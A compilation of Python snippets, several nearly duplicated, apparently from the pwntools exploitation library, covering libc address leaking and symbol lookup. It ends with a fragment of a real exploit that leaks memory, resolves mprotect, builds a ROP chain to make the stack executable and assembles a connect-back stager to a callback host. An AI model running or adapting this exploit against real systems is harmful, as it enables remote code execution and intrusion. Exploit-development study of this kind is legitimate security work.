def libc(self): """libc(self) -> ELF Leak the Build ID of the remote libc.so, download the file, and load an ``ELF`` object with the correct base address. Returns: An ELF object, or None. """ libc = 'libc.so' with self.waitfor('Downloading libc'): dynlib = self._dynamic_load_dynelf(libc) self.status("Trying lookup based on Build ID") build_id = dynlib._lookup_build_id(libc) if not build_id: return None self.status("Trying lookup based on Build ID: %s" % build_id) path = libcdb.search_by_build_id(build_id) if not path: return None libc = ELF(path) libc.address = dynlib.libbase return libc
def libc(self): """libc() -> ELF Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically. """ from pwnlib.elf import ELF for lib, address in self.libs().items(): if 'libc.so' in lib or 'libc-' in lib: e = ELF(lib) e.address = address return e
def libc(self): """libc() -> ELF Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically. """ from pwnlib.elf import ELF for lib, address in self.libs().items(): if 'libc.so' in lib: e = ELF(lib) e.address = address return e
def _find_linkmap_assisted(self, path): """Uses an ELF file to assist in finding the link_map. """ if isinstance(path, ELF): path = path.path # Load a fresh copy of the ELF with context.local(log_level='error'): elf = ELF(path) elf.address = self.libbase w = self.waitfor("Loading from %r" % elf.path) # Save our real leaker real_leak = self.leak # Create a fake leaker which just leaks out of the 'loaded' ELF # However, we may load things which are outside of the ELF (e.g. # the linkmap or GOT) so we need to fall back on the real leak. @MemLeak def fake_leak(address): try: return elf.read(address, 4) except ValueError: return real_leak.b(address) # Save off our real leaker, use the fake leaker self.leak = fake_leak # Get useful pointers for resolving the linkmap faster w.status("Searching for DT_PLTGOT") pltgot = self._find_dt(constants.DT_PLTGOT) w.status("Searching for DT_DEBUG") debug = self._find_dt(constants.DT_DEBUG) # Restore the real leaker self.leak = real_leak # Find the linkmap using the helper pointers self._find_linkmap(pltgot, debug) self.success('Done')
def libc(self): """libc() -> ELF Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically. Example: >>> p = process("/bin/cat") >>> libc = p.libc >>> libc # doctest: +SKIP ELF('/lib64/libc-...so') >>> p.close() """ from pwnlib.elf import ELF for lib, address in self.libs().items(): if 'libc.so' in lib or 'libc-' in lib: e = ELF(lib) e.address = address return e
def lookup(self, symb=None, lib=None): """lookup(symb = None, lib = None) -> int Find the address of ``symbol``, which is found in ``lib``. Arguments: symb(str): Named routine to look up If omitted, the base address of the library will be returned. lib(str): Substring to match for the library name. If omitted, the current library is searched. If set to ``'libc'``, ``'libc.so'`` is assumed. Returns: Address of the named symbol, or :const:`None`. """ result = None if lib == 'libc': lib = 'libc.so' # # Get a pretty name for the symbol to show the user # if symb and lib: pretty = '%r in %r' % (symb, lib) else: pretty = repr(symb or lib) if not pretty: self.failure("Must specify a library or symbol") self.waitfor('Resolving %s' % pretty) # # If we are loading from a different library, create # a DynELF instance for it. # if lib is not None: dynlib = self._dynamic_load_dynelf(lib) else: dynlib = self if dynlib is None: log.failure("Could not find %r" % lib) return None # # If we are resolving a symbol in the library, find it. # if symb and self.libcdb: # Try a quick lookup by build ID self.status("Trying lookup based on Build ID") build_id = dynlib._lookup_build_id(lib=lib) if build_id: log.info("Trying lookup based on Build ID: %s" % build_id) path = libcdb.search_by_build_id(build_id) if path: with context.local(log_level='error'): e = ELF(path) e.address = dynlib.libbase result = e.symbols[symb] if symb and not result: self.status("Trying remote lookup") result = dynlib._lookup(symb) if not symb: result = dynlib.libbase # # Did we win? # if result: self.success("%#x" % result) else: self.failure("Could not find %s" % pretty) return result
def lookup (self, symb = None, lib = None): """lookup(symb = None, lib = None) -> int Find the address of ``symbol``, which is found in ``lib``. Arguments: symb(str): Named routine to look up lib(str): Substring to match for the library name. If omitted, the current library is searched. If set to ``'libc'``, ``'libc.so'`` is assumed. Returns: Address of the named symbol, or :const:`None`. """ result = None if lib == 'libc': lib = 'libc.so' # # Get a pretty name for the symbol to show the user # if symb and lib: pretty = '%r in %r' % (symb, lib) else: pretty = repr(symb or lib) if not pretty: self.failure("Must specify a library or symbol") self.waitfor('Resolving %s' % pretty) # # If we are loading from a different library, create # a DynELF instance for it. # if lib is not None: dynlib = self._dynamic_load_dynelf(lib) else: dynlib = self if dynlib is None: log.failure("Could not find %r" % lib) return None # # If we are resolving a symbol in the library, find it. # if symb and self.libcdb: # Try a quick lookup by build ID self.status("Trying lookup based on Build ID") build_id = dynlib._lookup_build_id(lib=lib) result = None if build_id: log.info("Trying lookup based on Build ID: %s" % build_id) path = libcdb.search_by_build_id(build_id) if path: with context.local(log_level='error'): e = ELF(path) e.address = dynlib.libbase result = e.symbols[symb] if not result: self.status("Trying remote lookup") result = dynlib._lookup(symb) else: result = dynlib.libbase # # Did we win? # if result: self.success("%#x" % result) else: self.failure("Could not find %s" % pretty) return result
if page_prefix == bytes('\x7fELF', 'utf8'): logging.info( "epp base address: 0x{:X}".format(epp_ba)) break epp_ba -= 0x1000 def leak(address): return a_read(s, address, 8) epp_dyn_elf = DynELF(leak, epp_ba) libc_mprotect = epp_dyn_elf.lookup('mprotect', 'libc') context.clear(arch='amd64') binary = ELF(epp_path) binary.address = epp_ba binary.symbols = {'mprotect': libc_mprotect} rop = ROP(binary) # Mark the current stack page, and the one just before, incase we are on a boundary. rop.call( 'mprotect', (stack_frame.previous_frame_stack_base_pointer & ~0xFFF, 0x2000, 0x7)) target_ip = socket.gethostbyname(socket.gethostname()) mprotect_rop = rop.chain() logging.info(rop.dump()) # We are gonna be a little lazy and just end with an infinite loop, # we make no attempt to clean up the stack and continue normal # execution. connect_stager = asm(connectstager(target_ip, CALLBACK_PORT) + infloop())